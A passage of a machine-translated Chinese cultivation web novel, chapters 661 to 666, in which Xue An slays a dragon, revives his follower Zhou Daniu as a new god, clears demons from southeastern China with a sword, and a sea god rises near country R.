    Long Er roared painfully, and his huge body struggled in the air, trying to break free.

 Chapter 661： Cramp

    "No...Aren''t you Jian Xiu? How could there be such a powerful physical skill?" Long Er howled in pain.


    Xue An said indifferently: "Who told you I was a sword repairer?"


    "But your sword spirit."


    "Is it the sword repair who knows how to use sword energy? You Tianlong, you are simply too stupid!"


    Xue An said, but grabbed the dragon''s head with his other hand, and with a sudden force, he waved the dragon alive.


    Seeing the moonlight, Xue An was dancing a giant dragon like a whip.


    Shi Dong looked cold all over his body, and there was a gurgling noise in his throat.


    At this moment, Xue Anyao gave him a big smile.


    A faint voice came into his ears.


    "Patriarch Shi, give you a present!"


    After all, Xue An suddenly let go.


    Long Er, who had been shaken by Xue An''s joints, howled miserably and was thrown over.


    Shi Dong trembled and turned around to run.


    But how could he run past Long Er who was thrown by Xue Anli?


    Just listen to a loud boom.


    Long Er''s huge and hard body was like a bomb, directly destroying most of the stone house.


    However, this Shi Dong''s cultivation base has made good progress in the past two years. Although he was spitting out blood, he did not die at that time.


    But he couldn''t run, because his lower body had been completely crushed by the limp Long Er.


    The severe pain was accompanied by regret in his heart, causing Shi Dong to vomit blood, and he could only look at the sky so unconsciously.


    At this time, Xue An''s figure came into his eyes.


    Shi Dong''s eyes lit up slightly, and his lips moved lightly, "First... Mr."


    Xue An ignored him at all, but walked straight past him, and stepped on Long Er''s head, which was struggling to raise it.


    Long Er moaned in pain, then begged for mercy: "My lord, forgive me!"


    Xue An said indifferently: "These words, go and talk to the mortals who were killed by you!"


    With that said, Xue An pressed Long Er''s head, his other hand was like a knife and axe, pierced directly into the dragon''s neck, and then suddenly pulled out.


    Long Er let out a miserable cry, and his huge body trembled.


    A dragon tendon shining with colorful rays was drawn out by Xue Ansheng.


    This is what the dragons fear most, because their entire body''s cultivation is concentrated on this dragon tendon.


    Once the dragon tendon is lost, it is considered completely abolished.


    Long Er screamed fiercely: "Jian Xiu, you destroy my body, and you will be greeted by the endless revenge of the Tianlong clan!"


    Xue An said lightly: "Don''t worry, the future Tianlong clan will no longer exist!"


    Long Er was startled.


    Xue An''s eyes were full of light, and a few flames were contaminated on Long Er''s body, wherever he passed, his flesh and blood became nothingness.


    "No! This is..." Long Er shouted in horror, and then stopped abruptly.


    Because the flame has completely covered her body, it turned into nothingness in the blink of an eye, leaving only a cloud of **** brilliance floating in the air.


    Shi Dong trembled slightly and watched this scene. The flames passed over him just now, but did not burn him at all.


    But the more so, the more he was frightened and regretted.


    If he had obeyed his son''s words and insisted not to bow his head with the gods and demons, then he might still be a subordinate of the husband.


    But now it is too late to say anything.


    Shi Dong spat out a few more mouthfuls of blood, the light in his eyes gradually dimmed, but he still looked at Xue An with his eyes wide open as much as he could.


    Xue An gave him a cold look, raised his hand to take the **** brilliance, and turned and left.


    The corner of Shi Dong''s mouth was leaking blood, and a flash of luck flashed in his eyes.


    if����.


    As soon as the thought came up, a sword light passed by, completely obliterating it.


    "At this time, I still want to go to the camp. If it weren''t for your son to be sober, even your stone family wouldn''t exist." Xue An said lightly without turning his head back.


    At this time, Feng Chaosi had rushed to the street frantically and shouted at Xue An in mid-air: "Mr. Xue!"


    Xue An looked at Feng Chaosi, who was all in tatters, and the girl who followed him and walked out hesitantly. He smiled and nodded in response.


    "Very good, you did a good job!"


    Feng Chaosi cried with joy, feeling that his patience and humiliation had finally paid off during this period, and then he bowed respectfully to salute.


    "Thank you, Mr., for destroying all the monsters in the city."


    Xue An smiled, "Get up!"


    "Yes!" Feng Chaosi stood up excitedly.


    "Sir, the Shi Family''s rebellion was done by Shi Dong, an old fellow, and it does not represent the Shi Family''s true meaning, especially Shi Hao..."


    Xue An waved his hand, "I know, so I didn''t attack the other people in the Shi family. Now that the demon of the provincial capital has been eliminated, you and Shi Hao will control the situation together, understand?"


    Feng Chaosi looked solemn, "Understood!"


    Then he asked in a low voice: "Where are you going next, sir?"


    Xue An said lightly: "I have one of my men who died in Xiangjiang in battle. I''m going to see, who would dare to kill me!"


    Having said that, Xue An rose into the sky and flew to the sky with An Yan.


    Feng Chaosi stood in the same place, looking at Xue An''s back with infinite fascination.


    The girl who was rescued by Feng Chaosi murmured: "Big brother, this...is this a god?"


    Feng Chaosi shook his head firmly, "No, Mr. is stronger than the gods!"


    Then turned to look at the beautiful girl, smiled slightly, "Hello, my name is Feng Chaosi, I am glad to meet you!"


    at the same time.


    On the way to the port of Xiangjiang, Xue An handed An Yan a group of hairpins that exuded brilliance.


    "What is this?" An Yan took it over in surprise.


    "you guess?"


    "Guess I guess?" An Yan put out his tongue mischievously.


    "Leather!" Xue An scraped An Yan''s nose, then said with a smile: "This is made from the dragon tendons of the second dragon, you can try it on!"


    An Yan pulled up the Qingsi a little shyly, and then inserted the hairpin.


    In Ambilight, it looks even more beautiful.


    Xue An nodded in satisfaction, "My wife is so beautiful!"


    If anyone knows that Xue An actually refines the dragon tendons of the Tianlong clan into hairpins, he will definitely call him violent.


    But there is no way Xianzun pet wife is so willful.


    Then Xue An took out the **** brilliance again.


    "What is this again?" An Yan asked curiously.


    In her opinion, her husband''s hands seem to be able to conjure many strange things forever.


    "This is Dragon Liver!"


    An Yan was startled, and asked a little surprised: "This is the Dragon Liver?"


    "Yeah! Don''t you think that dragon liver is like pork liver?" Xue An said with a smile.


    An Yan smiled, "I really thought that just now, but can this food be eaten?"


    "Dragon liver and phoenix marrow is a famous dish that is very famous among the heavens. Of course you can eat it. I will cook it for you when I finish cleaning up this bunch of offal!"


    "Hmm!" An Yan nodded.

 Chapter 662： I wish 1 death to frighten the demons

    The harbour of Hong Kong.


    The once prosperous city has now become an empty city.


    In addition, layers of warning lines have been set up on the edge of the city to prevent people from entering.


    And in the middle of the city.


    A huge black air mass is slowly beating, and every time it bounces, it will be more powerful than before.


    In the end, the heartbeat echoed throughout the city.


    Song Yi sat on the ground with a gray face, and there were not many magical objects in his hand.


    At this moment.


    Just listen to a few clicks.


    The Feng Shui formation that had just been arranged not long after was destroyed again.


    The corners of Song Yi''s mouth instantly began to leak blood.


    But he did not hesitate to rearrange the only remaining Feng Shui artifacts.


    When the formation was formed, the black air mass shrank, and then a roar came from inside.


    "Song Yi, after I go out, you will definitely have no place to bury you!"


    Song Yi''s expression was relaxed, and he said lightly: "Go down, as long as Song Yi still has a breath, you don''t want to be born again."


    "Jiejie, now that the magical items in your hand have been consumed, what else are you using to restrain me?"


    Song Yi was silent for a moment, "Who said I don''t have a magic weapon anymore?"


    "Hehe, don''t fool me here! I am the top Cthulhu in heaven and earth. How can I be restrained by your little feng shui warlock? Open it for me!"


    With an angry shout.


    The Feng Shui array that had just been set up began to flicker violently, and it was about to shatter.


    A ray of determination flashed in Song Yi''s eyes. He raised a small knife in his hand that was carved with Feng Shui runes and pierced it directly into his heart.


    puff!


    The knife went in.


    But no blood oozes out, and Song Yi''s complexion begins to decline at a speed visible to the naked eye.


    "Song Yi, what do you want to do?" This asked in anger.


    Song Yi didn''t speak, shaking his hands and drew out the knife from his heart. The silver knife had become extremely red at this moment, and then it stabbed the eye of Feng Shui.


    With this stabbing.


    The shaky Feng Shui Jue Array instantly became strong, and the chains of Feng Shui directly bound the black air mass.


    "Ahhhhhh! Song Yi, you actually use your own blood to suppress Feng Shui, aren''t you afraid that your soul will be destroyed?" Jiang Shen roared.


    Song Yi''s expression was indifferent, "I, Song Yi, have no other ability, and yes, it''s nothing more than this passion!"


    "So as long as I am here, I will never let you out!"


    "Song Yi, does it make sense for you to do this? After you die, I will be able to reproduce the world immediately!" Jiang Shen sneered.


    "Significance?" Song Yi shook his head lightly, "I don''t care whether it makes sense, but since my husband has ordered me to guard the port of Xiangjiang, I can''t give up even if I only breathe!"


    "This is what I mean!"


    "Jie Jie, it''s really moving righteousness! Well, then I will fulfill you today!"


    With that, the black air mass began to tremble violently, and the chains bound to it also swayed.


    Song Yi was startled, "What''s the matter, why is your strength suddenly so much stronger?"


    "Jiejie, that''s because I have a group of believers who serve me as Lord!" Sacrifice laughed wildly.


    With his laughter, in the temple in Nanyang, the priests slaughtered ordinary people faster.


    The blood and soul were treated as sacrifices, sacrificed to the gods, and then directly fed back to the goddess who was in the port of Xiangjiang through a mysterious way.


    Song Yi had a tragic look on his face, and all his blood was affected by the flickering and swaying Feng Shui.


    "Song Yi, you retreat to the mortals in this city, and even seal me with yourself, but you didn''t expect me to have such a trick! Hahaha, when I come back, it will be the time when you humble mortals perish ."


    Listening to the words of God''s complacency, Song Yi began to ooze blood all over his body, which was a sign that he was near the limit.


    In the end, he sighed slightly, "My lord, Song Mou is ashamed and failed to protect Xiangjiang. I wish to die and frighten the demons!"


    After all, Song Yi was ready to use his last blood to make a seal.


    At this moment, an extremely magnificent feng shui air suddenly appeared, and then it directly penetrated into this feng shui absolute formation.


    Feng Shui, which was on the verge of collapse, instantly became as stable as Mount Tai.


    But the huge black air mass screamed, half dissipated.


    "Who is it?" Deity roared in anger and fright.


    And a calm voice came over, "Song Yi, you go back!"


    Song Yi froze, then turned his head to look at it with amazement.


    At the top of a building in the distance, Xue An was sitting on it, looking at herself in his spare time.


    And who is standing behind him, not An Yan?


    "First... sir?" Song Yi looked at this scene in disbelief, even thinking he was dreaming.


    At the same time, the figures of Xue An suddenly disappeared at the top of the building, and when they reappeared, they had already come to Song Yi''s side.


    "Good job!" Xue An said lightly.


    Song Yi took a deep breath, feeling that his vision was a bit blurred, and said respectfully: "Yes!"


    Xue An raised his head and looked at the black air, "Is this the **** who killed Daniel?"


    Song Yi nodded.


    At this time, the Shen Shen was suppressed by the Qi of Feng Shui, and his body was full of black energy, struggling in pain.


    When he heard Xue An''s voice and Song Yi''s address to him, he was first startled, and then roared.


    "Are you Xue An? My son, Dragon Crown Jade, died in your hands?"


    Dragon crown jade?


    Xue An frowned and immediately remembered who it was, and then smiled slightly, "So what?"


    "Don''t think that these alone can suppress me, I will kill you and avenge my **** son!" Jiang Shen roared.


    And in the temple on the other side of Nanyang, all the priests and mortals turned into blood mist with a thud, became sacrifices and were sacrificed.


    After receiving this powerful force, the black Qi suddenly began to swell and made a beeping sound, and the silhouette of a human figure began to gradually emerge.


    Song Yi was startled, and then said solemnly, "Sir, this evil **** feeds on the fear and greed in people''s hearts. It is extremely difficult and difficult to kill! If he reappears in the world, it will cause great disasters. ."


    Xue An said indifferently: "Fear and greed? Ha ha, then I will let him know what fear is today!"


    At the same time, the figure of descending **** emerged from the black air with difficulty, and a grin appeared on the face of the majestic god.


    "Er..."


    The voice did not fall Xue An didn''t know when he had appeared on his head, and then hit it with a punch.


    boom.


    This statue had just transformed, before it had time to arrogantly descend, it was smashed into the ground.


    Without waiting for him to move, Xue An landed and pulled him out of the ground.


    This goddess was a little dizzy by this fist, and he hasn''t figured out what happened.


    Xue An''s expression was indifferent, and he threw out another punch.


    Click.


    The sagging head was shattered.


    The black air instantly spread.


    A figure wants to get out of the body.


    Xue An said indifferently: "Does the person who killed me want to leave? Today, I will re-train your soul and resurrect Daniel!"

 Chapter 663： Create a new god

    Xue An once said that there is still a chance to resurrect Zhou Daniu.


    The reason for saying this is because Zhou Daniu died with this goddess by exploding his soul.


    And this evil **** who gains power by devouring fear is likely to preserve Zhou Daniu''s dying soul fragments.


    But if you want to find it, you need to completely destroy the spirit of this evil god.


    This seemed completely impossible to others, but it became possible in Xue An''s hands.


    At this moment, as soon as Xue An stretched out his hand, he clung to this godlike spirit.


    What else do you want to say?


    Xue An was already too lazy to listen to the nonsense of these gods and demons before they died, so he gave a sharp grip.


    Bang.


    It was like crushing a piece of crystal.


    This soul was broken into powder.


    And there are countless light spots flickering.


    These are all fragments of the innocent souls who died in the hands of the surrender.


    It is simply impossible to find Zhou Daniu''s one among so many light spots.


    Xue An didn''t plan to look for it, but stretched out his hand.


    All the light spots began to converge in Xue An''s palm.


    In the blink of an eye, a light group was formed.


    As Song Yi said, this **** descending is extremely difficult to destroy.


    Even if the soul was broken, in the blink of an eye, black air began to appear in the midair, and the light cluster in Xue An''s hand was flooding.


    "Sir!" Song Yi shouted.


    Xue An said indifferently: "Da Niu, it''s up to you next!"


    As he said, a white flame emerged from Xue An''s hand and began to roast the light ball.


    Those black air quickly disappeared under this flame.


    The light group also began to struggle and surging, feeling extremely painful.


    at last.


    This light ball seemed to be unable to withstand the scorching flames, suddenly expanded and exploded.


    In the latter half of the air, the black energy began to condense again, and a grinning voice came: "Xue An, no matter how powerful you are, you can''t kill me. Unless you kill all the mortals in this world, I will Just immortal, hahaha!"


    This is the divine consciousness that descended from the gods began to condense again.


    But at this moment, these exploded light spots began to reunite at a faster speed, and a tall humanoid silhouette began to appear.


    Under the change, the group of black energy began to gradually spread.


    "What''s the matter? Why did it happen like this? Ah, why can''t I perceive the surrounding sky and earth!" The voice of God descending became extremely panic.


    He is not afraid of death, because he knows that he can be reborn after death.


    But now it is his own original power that is rapidly being eroded, and even his perception of heaven and earth has begun to crazily weaken.


    If this continues, he will soon perish completely.


    "Xue An, what are you doing?" Jiang Shen roared.


    Xue An said lightly: "What are you doing? Oh, I forgot to tell you! There is another term for refining the soul, that is, creating a god!"


    "Making God?" The voice of descending God has become weaker, but he still asked in horror.


    Xue An nodded, and then looked at the Zhou Daniu whose outline became clearer, "What you depend on for survival is the fear and greed in the human heart, but you evil gods don��t understand that the most powerful force in the human heart is actually the indomitable attachment. Read!"


    "I let Daniel condense all the light spots, and then replace you with this obsession. This is a **** creation!"


    Hearing Xue An''s words, the surrender was completely desperate. He originally thought that he could gain more strength while coming to the world this time.


    But I didn''t expect it to take my life.


    He wanted to beg for mercy, but now he was so weak that he couldn''t even speak for mercy.


    finally.


    When Zhou Daniu''s figure was completely clear, and then slowly opened his eyes.


    Just listen to a muffled sound.


    The last trace of black air also disappeared.


    The haze that had hung over the Hong Kong harbor for many days was wiped out.


    And Zhou Daniu showed brilliant golden light, and all the contacts felt excited.


    Song Yi watched this scene dumbfounded.


    He didn''t expect it anyway.


    The extremely difficult God descending was not only annihilated by her husband, but also resurrected Zhou Daniu and created a new god.


    "Create...create god..." Song Yi muttered to himself.


    This kind of guarding against the sky has even exceeded Song Yi''s imagination, and it also made him feel unprecedented awe of Xue An.


    At this time, countless white lights flooded in, frantically flooding into Zhou Daniu''s body, making his figure more condensed, and finally becoming real.


    Then Zhou Daniu''s eyes gradually glowed from the confusion and void.


    finally.


    He trembled, then looked down at his hands and feet.


    "I...I''m not dead?"


    With that said, he saw Xue An again, his whole body shook, and immediately stood still.


    "Instructor!"


    Xue An nodded in satisfaction.


    He also didn''t expect that Zhou Da Niu could recover completely this time, it seemed that even his personality had not changed.


    Zhou Daniu looked at Song Yi again at this time, "Master Song, am I dead already?"


    Song Yi said enviously: "Yes, you were already dead, but the gentleman used the heavenly supernatural powers to bring you back to life again!"


    Upon hearing this, Zhou Daniu immediately knelt down to Xue An.


    "Instructor, I wouldn''t say anything to Daniel. Originally, I was dead, but you resurrected me. You are the father and mother of my reborn parents..."


    Xue An was dumbfounded by this series of me, and waved his hand to interrupt Zhou Daniu''s words, "Okay, I saved you because of your loyalty, and your ability to wake up is also your good fortune!"


    At this time, Zhou Daniu felt the surging power surging in his body, and couldn''t help but be surprised: "Instructor, I seem to be even more powerful than before!"


    Song Yi said quietly on the side: "Of course, not only did your husband resurrect you, but also refine you into a new god!"


    When Zhou Daniu heard the words, he smiled and scratched his scalp, "So I have become a god? Hey..."


    Suddenly, Zhou Daniu looked embarrassed again, and then whispered to Xue An: "Instructor, I have become a god, then can I get married and have a baby?"


    Xue An laughed nonchalantly and shook his head, "I really don''t know this, but I guess it should be ok."


    "That''s good, that''s good My father and my mother died early. Before they die, their biggest wish is that I can continue to incense the old Zhou family. Hehe."


    Xue An shook his head and chuckled, then looked up at the sky on the moon.


    "It''s so boring! Yan''er, wait a moment for me!"


    After all, Xue An stepped out and went straight into the sky, waiting to stand still.


    Xue An looked down on this piece of land in the southeast of China, and said coldly: "Master, I have no patience to eliminate you one by one, the sword of seeking evil, now!"


    The endless sword light began to emerge gradually with Xue An as the center, and continued to extend far away.


    In a moment, it has enveloped thousands of kilometers of land.


    Everyone under the envelope looked up together, all stunned by this scene.


    "Go, slaughter all gods and demons!" Xue An said lightly.


    With his order, the sword fell like rain, strangling everything!

 Chapter 664： The news spreads and shakes the world

    Since the three-eyed evil **** was beheaded, Lingnan''s situation was a little better.


    The meaning of this is that you can barely maintain your undefeated and no longer retreat like in the past.


    But over time, another big problem began to emerge again.


    That is the Yu family, which is the main combat force, and the manpower has begun to become scarce.


    In particular, Yu Ming and other major combat forces were already extremely exhausted, but without their guard, Lingnan would not be able to defend it.


    So no matter how tired, Yu Ming and others are still struggling.


    now.


    Yu Ming killed more than a dozen little monsters with a single sword. This wave of attacks had come to an end, and these monsters retreated one after another.


    Then Yu Ming staggered and almost fell to the ground.


    Fortunately, Yuan Yunxin was on the sidelines and hurriedly stepped forward to support him.


    "Yu Ming, how are you?" Yuan Yunxin asked with concern.


    Yu Ming''s face was pale, and he shook his head gently, "It''s okay! It''s just a little bit of strength for a while."


    Yuan Yunxin immediately took out a bottle of Tianyuan from his pocket and poured it on Yu Ming.


    After a while, Yu Ming''s state recovered a lot.


    "Huh, fortunately there are these heavenly fate that Zhongdu desperately airdropped over, otherwise Lingnan would have already collapsed." Yu Ming said with a wry smile.


    Yuan Yunxin also deeply agrees.


    Some time ago, several military aircraft suddenly appeared in the sky above Lingnan. After circling a few times, they dropped several large boxes of Tianyuan potion.


    This kind of magical potion can heal injuries and can help repairers to restore their physical strength. It is an extremely important strategic material.


    Had it not been for these boxes of potions, Yu Ming wouldn''t be able to hold it now.


    Unfortunately, those planes were almost completely shot down by the gods and demons at the end, and only one survived.


    At this moment, the defenders in several other directions also retreated.


    Compared to Yu Ming who was on the frontal battlefield, their pressure was much less, but they were all exhausted at the moment, and a few of them were even more embarrassed.


    "Brother, my sword is broken again!" Yu Ran said frustratedly.


    Now she is no longer the spoiled and charming girl before, but a female warrior who has gone to battle to kill enemies and slaughter demons.


    "Go to Father''s for another one later!"


    The Yu family now has a very clear division of labor. Yu Ming, Yu Ran and Shi Xueqing, who had originally come as a guest but were also trapped in it, are the main combat power.


    Patriarch Yu Yuan is in charge of sitting in the rear and coordinating everything.


    This position is even more important than going to battle to kill the enemy.


    Because there are hundreds of thousands of people in Lingnan in today''s strongholds, if there are so many people, if there is not a strong person to suppress them, it is very likely that there will be a big mess.


    At this time, the battlefield became lively. The Yu family had a special team responsible for cleaning the battlefield. At the same time, many elders were doing detailed research on these dead gods and demons.


    Even the girls are not idle, they are responsible for bandaging the wounds of the wounded soldiers.


    Although the bandaging techniques of these girls may be poor, when these young and beautiful figures appear, it will still greatly relieve the anxiety and tension of these soldiers.


    Shi Xueqing looked at this well-organized scene with admiration, and finally understood why the Yu family had been able to guard Lingnan for two to three hundred years, and still remained famous.


    With this kind of control, the title of Lingnan First Family is well-deserved.


    But at this moment, a black shadow suddenly floated in the distance, and then the earth trembled.


    "Enemy attack!" Someone from the watchtower in the distance yelled sternly and blew the whistle.


    In the sharp whistle, unrelated people quickly began to evacuate.


    Yuan Yunxin was massaging Yu Ming''s swollen ankle at this time, and Yu Ming had fallen asleep.


    But after hearing the whistle, he immediately opened his eyes, then grabbed the sword beside him and stood up.


    When he saw the dark demon in the distance, his complexion suddenly became extremely ugly.


    "What''s the matter? Why are there so many demons in this wave?" Yu Ran exclaimed.


    Yu Ming''s eyes flickered, and he said coldly: "A powerful **** and demon is coming!"


    what?


    Hearing his words, everyone around was shocked.


    As if to confirm his words, a huge three-handed **** and demon appeared behind these demon army.


    This **** and demon is so tall, even though they are so far away, everyone still has to look up.


    And this **** and demon was also looking down at everyone at the moment, and the corner of his mouth gradually raised a icy smile.


    This kind of power is enough to make people lose any resistance.


    Everyone''s complexion became extremely desperate, including the crowd in the stronghold. When they also saw this nightmare-like horror scene, they all cried.


    Yu Ming suddenly took a deep breath at this time, and then said to Yu Ran: "You and Xueqing take your sister-in-law and leave!"


    Yu Ran was startled, "Brother..."


    "Don''t say it! If you stay here, you will definitely die! Go!" Yu Ming said coldly, slowly drawing his sword.


    "No! Brother, I won''t go, I want to fight with you!" Yu Ran''s eyes burst into tears.


    "With your sword skills, here will only get in the way, get out!" Yu Ming roared.


    Yu Ran was scolded for a moment.


    But Yuan Yun looked calm, and pulled Yu Ran to go outside.


    "I don''t, brother, you will die if you stay! I can''t watch you die, Yuan Yunxin, you woman who is greedy for life and fear of death! Will you not stop me when you see my brother about to die?" Yu Ran said angrily.


    Yuan Yun said calmly: "I respect your brother''s decision because he is a sword repairman!"


    This sentence seemed to take away all the strength of Yu Ran.


    Shi Xueqing also sighed, "Yun Xin is right! Your brother has no way to go back!"


    After all, she dragged Yu Ran back.


    After seeing his sister and lover leave, Yu Ming faced all the gods and demons that were rolling in by himself, slowly raising his sword and raising it between his brows.


    "Mr. once said that my kendo cultivation was wrong, and then I realized that kendo is simple, only without fear! Today, I will let you see what is mortal sword cultivation!"


    As he said, Yu Ming raised his eyes, the bright sword light burst open, and he rushed towards the opposite monster.


    Under the sword light, there is nothing but powder.


    But the number of these demons was so large that even though they had been wiped out by Yu Ming, they were overwhelmed in an instant.


    Looking at it from a distance, I can only see the sword light flashing in the black wave.


    Yu Ran had already burst into tears.


    at last.


    After Yu Ming barely issued another sword, the damage accumulated over the past few days finally broke out.


    With a plop, he knelt to the ground.


    But because his sword power was too strong just now, he still made the surrounding gods and demons afraid of it, so he didn''t dare to come over for a while.


    But the three-handed **** and demon had already come to the front at this moment, and then stretched out his hand to pat Yu Ming with a slight grin.


    Yu Ming wanted to get up, but he had no strength at all, so he had to laugh at himself.


    "Is this the limit? But still a little unwilling!"


    But at this moment, Yu Ming suddenly felt that one of his sword hearts began to tremble violently, and he wanted to worship.


    He looked up in amazement.


    I saw a large white wave in the sky in the distance.


    In the blink of an eye, these white waves rushed to the front.


    "It''s Jianmang!" Yu Ming cried out in exclamation.


    Not only him, hundreds of thousands of people up and down in Lingnan all watched this scene blankly.


    See the endless sword glow covering the sky and covering the sun.


    And all these gods and demons also showed fear, especially this three-handed **** and demons, turned around and ran away.


    But they just ran out a few steps, these sea-like sword lights rushed over and swallowed all the gods and demons.


    After roaring and struggling for a few times, the tall three-handed **** and demon was cut into nothingness by the endless sword light.


    As for the others, it is not a problem.


    But in the blink of an eye, all the gods and demons that had besieged Lingnan for many days were swept away, leaving only an empty and clean world.


    Yu Ming stared at this scene blankly and suddenly laughed.


    It started with a small laugh and gradually turned into a loud laugh.


    Smiling, Yu Ming shed tears.


    Because he knows who is back.


    It''s the day.


    Xue An, who had been missing for a long time, suddenly appeared, and within a day blasted and killed the Tianlong tribes in Beijiang and the provincial capital, completely eradicated the Evil God of Xiangjiang, and with a shocking cultivation base, he killed all the monsters in the southeast with a single sword.


    The news spread, shaking the world.

 Chapter 665： Hope is something more precious than gold

    Zhongdu.


    Tianyuan company headquarters.


    At this moment, Tianyuan has moved away from the previous tall building.


    Because the Central Metropolitan Provisional Management Committee has regulations.


    All high-rise buildings are dangerous buildings because they are too large to be attacked by gods and demons.


    Therefore, Tianyuan headquarters has also moved to a low bungalow.


    At this moment, in the meeting room.


    Sitting on the main seat is a middle-aged man with a gloomy face and a fat body.


    I saw him look around everyone in the room with eyes with heavy bags under his eyes, and then said coldly: "The management committee has just gotten down the notice. From next month, the management committee will be solely responsible for all sales of Tianyuan Potion."


    Hearing these words, Qiao Le, Zhao Xuehui and the others all showed upset, and Chen Xiuhe, who was sitting directly opposite this person, also had a gloomy expression.


    "Jinzhong, is this the meaning of your Jin family or the management committee?"


    Jin Zhong sneered, "Old Head Chen, please figure out the current situation before you speak. Now Zhongdu is no longer the dominance of your Chen family. Everyone must obey the orders of the management committee!"


    "I''m afraid this is your Jin family doing a ghost secretly!" Chen Rushi said coldly, standing behind his grandfather.


    "Chen Xiuhe, I hope you can take care of your younger generations. Now, in a very period of time, nonsense is going to a military court." Jin Zhong said coldly.


    Just as Chen Xiuhe was about to speak, someone suddenly opened the door and walked in. It was Yuan Mengying, the secretary of Tianyuan headquarters.


    "What are you doing? Didn''t you see the meeting? Get out!" Jin Zhong roared.


    But Yuan Mengying didn''t seem to have heard it, she went straight to Chen Xiuhe, took a deep breath, and put a document in her hand on the table.


    "Old Chen, there is the latest news ahead, take a look!" Yuan Mengying said with a trembling voice.


    At this time Jin Zhong was completely angry, "Yuan Mengying, very good, from now on you are no longer a member of Tianyuan, get out of here!"


    Since he airborne to the Tianyuan Company as the director, no one has dared to ignore his words so much, which naturally made Jinzhong angry.


    But Yuan Mengying seemed to have not heard it, and didn''t even look at Jin Zhong.


    And after Chen Xiuhe looked down at the file, he was taken aback for a moment, and then burst into laughter.


    The laughter stunned Jin Zhong who was about to burst into anger.


    At this time, Qiao Le and others also saw the file, and then all their faces showed relief and excitement.


    At this time, Jin Zhong said coldly: "What are you going to do? Do you want to rebel?"


    He used to say that, everyone would bow their heads, but this time it was different.


    Chen Xiuhe glanced at Jin Zhong coldly, then slowly stood up and said lightly: "Jin Zhong, I advise you and the Jin family to wash your necks quickly and buy a good coffin, otherwise... hehe! "


    After that, Chen Xiuhe turned and left. Everyone sneered at Jin Zhong and walked out of the meeting room.


    When there is only one person left in the house.


    He was stunned for a moment, and then ran to the table frantically. There were documents on the table that Chen Xiu and he didn''t know whether he forgot or left it on purpose.


    Jin Zhong picked it up with trembling hands, and there was only a simple message on it.


    Xue An returned and slayed all the demons in the southeastern half of the realm with one sword.


    Seeing this news, Jin Zhongru, who was originally extremely arrogant, fell into the ice cellar, and his clothes were soaked in cold sweat instantly.


    Xue An.


    The name is simply too harsh for him.


    Because his older sister who married into An''s family and was honored as Qian Qinggege was killed by Xue An.


    That''s right, the Jin Xiurong who once presided over the settlement, bullied An Yan and was eventually slaughtered by Xue An, was Jin Zhong''s sister.


    After Jin Xiurong''s death, the Jin family did not respond to this incident.


    It wasn''t until the chaos of the world and the earth that the situation in the central capital changed drastically. The Jin family took advantage of the chaos, and then entered the temporary management committee, and gained great power.


    Then the Jin family showed its fangs and began to look at everything that once surrounded Xue An.


    This Tianyuan Company is the focus of it.


    Jin Zhongkong came down here, just to completely control it.


    After all, Tianyuan is a cash cow that makes countless people jealous.


    But the premise of all this is based on the premise of Xue An''s disappearance.


    But who would have thought that Xue An would return so powerfully?


    Just when Jin Zhong fled home in a hurry to discuss countermeasures.


    The news has completely spread.


    Since the gods and demons came to the world, everyone has heard and seen all kinds of bad news.


    Today this city falls, and tomorrow that country falls.


    Living in such a desperate environment every day, many people have begun to become numb.


    Few people have any hope for the future.


    Even the most optimistic people can only hope that humans can hold the last few positions at this time, and then barely survive.


    It was in this situation that Xue An re-emerged, and the news of strangling the gods and demons spread across the world like a hurricane.


    Countless people are excited about it.


    You know, in the age of despair, hope is something more precious than gold.


    What''s more, in the face of such a major event that concerns the life and death of mankind, the appearance of Xue An has made countless people see hope.


    Before that, the army of gods and demons swept the entire world almost invincibly, and even if humans barely stood firm in the end, it would have paid a great price.


    Therefore, many people begin to subconsciously believe that the gods and demons are invincible.


    It wasn''t until Xue An appeared that this myth was broken.


    At the same time, the long-silent martial arts forum became lively again.


    Xue An''s previous deeds were re-read by someone with a heart.


    From the beginning, the old man Zhitian was wiped out, until the blood clan was eradicated in the back, and the Guangming religion was destroyed.


    These piles of things can be called earth-shattering events if they are taken out individually.


    But these were all done by Xue An alone.


    This virtually added more brilliance to Xue An.


    The martial arts practitioners have always been the most arrogant, but in front of Xue An, these people all bowed their heads and convincingly called Xue Anwei.


    When the world is supreme.


    And the news quickly spread from the martial arts world, and then swept all aspects of society.


    Many people may not know who Xue An is before.


    But after this time of public opinion, almost everyone remembered the name Xue An.


    Remember, the title of the Supreme Being!


    Countries around the world are even more shocked.


    After all, Xue An is a real Chinese.


    No one dares to say what impact he will have when he comes back to the world with an extremely powerful force now.


    Country M.


    Mr. President hid in the underground shelter, looked at the documents in his hand blankly, and then asked bitterly.


    "Gentlemen, with Xue An''s return, the rise of China is unstoppable. Do we have any good solutions for this?"


    This group of big men who claim to be the Chosen People, at this moment all lowered their once extremely arrogant heads.


    After the meeting, Edward, the head of the intelligence agency sitting at the end, trembled.


    "Your Excellency, I think, no matter what you can do, don''t fight against Xue An, otherwise, he will really let us see God!"


    If this Edward had said so before, many people might sneer, but now they can only bow their heads in silence.


    Mr. President was silent for a moment, and then smiled bitterly: "Let��s watch the changes first! See how other countries react."

 Chapter 666： Kyoto cave-in

    This is a sea area near country R.


    Since the chaos of heaven and earth, the sea where ships used to go back and forth has also become silent.


    What''s more, this place originally belongs to the wild seas far away from all routes.


    So apart from the seabirds that occasionally fly by, there is almost no vitality here.


    suddenly.


    The dead sea area began to boil violently.


    Countless bubbles rose tremblingly, and then burst on the sea, making a scalp-numbing explosion.


    Then the whole sea area began to rotate.


    The speed at the beginning of the rotation is very slow, and gradually starts to accelerate.


    In the blink of an eye, the entire sea area became a huge whirlpool.


    If you look down from the sky, you will find that the center of the whirlpool is deep and dark, as if the sea has opened its eyes, which is chilling.


    And a terrifying aura began to diffuse from this whirlpool. Within a thousand miles, all the aquatic people with a little spirituality were trembling and worshipping in the direction of the whirlpool, as if they were welcoming their king.


    Suddenly.


    An extremely large figure emerged under the vortex. The figure was so huge that it even occupies the entire sea area, and then the figure began to rise rapidly.


    boom!


    The water surface separates.


    An extremely huge whale emerged from the water, then opened its huge mouth in the blood basin and let out a cry that shook the world.


    Whale song.


    This sound, which was originally only propagating in the water, shook the sky at this moment, as if it were announcing the return of the king.


    Then there was a burst of brilliance on the head of this giant whale, a middle-aged man with a crown, a robe and a trident in his hand gradually emerged.


    "Jiejie, I have been away for so long, but my Seagod has finally returned!" The middle-aged man laughed triumphantly.


    After laughing for a moment, he looked up at the distance, his eyes gleaming with excitement.


    "Hey, didn''t you expect human beings to be so prosperous now? Go!"


    With his order.


